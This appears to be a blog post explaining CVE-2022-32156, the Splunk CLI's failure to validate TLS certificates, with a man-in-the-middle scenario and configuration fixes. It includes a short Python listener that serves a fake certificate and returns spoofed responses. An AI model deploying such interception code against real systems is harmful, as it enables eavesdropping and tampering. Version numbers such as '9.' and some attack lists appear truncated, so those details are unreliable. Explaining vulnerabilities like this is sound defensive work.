Splunk is one of the most popular platforms for searching, monitoring, and analyzing machine-generated big data. But before version 9., a significant security issue existed in both Splunk Enterprise and the Universal Forwarder: the command-line interface (CLI) didn’t validate TLS certificates by default when connecting remotely! Let’s dive into CVE-2022-32156, understand what went wrong, how attackers could exploit it, and how to fix it.

What is CVE-2022-32156?

This vulnerability affects Splunk Enterprise and Universal Forwarder versions before 9.. When using the Splunk CLI to connect to a remote Splunk instance, the software would not check if the TLS certificate was legit (that is, trusted and actually belonged to the server).

If your Splunk peers were properly configured and had valid certificates, you were safe. But misconfigured nodes—those without valid certificates—would simply connect, no questions asked. This opens the door for attackers to do a "man-in-the-middle" (MITM) attack or other tricks.

Reference:
- Official Splunk advisory: Splunk Product Vulnerabilities
- Splunk Documentation: Configure TLS host name validation for the Splunk CLI

Why Does It Matter?

When TLS/SSL certificates aren't checked, it’s like talking to someone over the phone and trusting whoever answers without making sure it’s really them. An attacker could:

Let's say an admin tries to use the CLI to connect

splunk search "index=main error" -auth admin:changeme -remote splunk://splunk-server.example.com:8089

Before 9.:
If splunk-server.example.com had an invalid or self-signed certificate, the CLI would not warn or stop the connection.

Attack scenario:
A hacker sets up a malicious server on the network, intercepts DNS or ARP, and presents their own certificate. The CLI connects because it doesn’t check for validity. The attacker could then:

Modify responses

Here’s some *pseudo-exploit* Python code demonstrating a simple MITM with SSL interception (for educational purposes only):

import ssl
import socket

# Disclaimer: For DEMONSTRATION ONLY! Do not use for illicit purposes.

context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.load_cert_chain(certfile="fake_cert.pem", keyfile="fake_key.pem")

bindsocket = socket.socket()
bindsocket.bind(('', 8089))
bindsocket.listen(5)

while True:
    newsocket, fromaddr = bindsocket.accept()
    connstream = context.wrap_socket(newsocket, server_side=True)
    data = connstream.recv(1024)
    print("Received:", data)
    connstream.sendall(b"Fake response from attacker\n")
    connstream.close()

The Splunk CLI—when not validating certificates—would just connect right up.

The Fix: Upgrading and Configuring Properly

Splunk 9. and later versions update the default behavior to support proper TLS certificate validation, but you must enable and configure it. Here’s how:

Configure host name and certificate validation for CLI:

# For a Linux Splunk install
splunk set tlscommandmode on

Or, edit the configuration directly

# In server.conf
[sslConfig]
cliVerifyServerName = true

Follow detailed steps here:
SPLUNK DOCS: Configure TLS host name validation for the Splunk CLI

References & Further Reading

- CVE entry on NIST
- Splunk’s official advisory
- Splunk documentation: TLS host name validation for the CLI


Thanks for reading! Stay vigilant, patch up, and always check those certificates even if you trust your network.

Timeline

Published on: 06/15/2022 17:15:00 UTC
Last modified on: 06/24/2022 01:21:00 UTC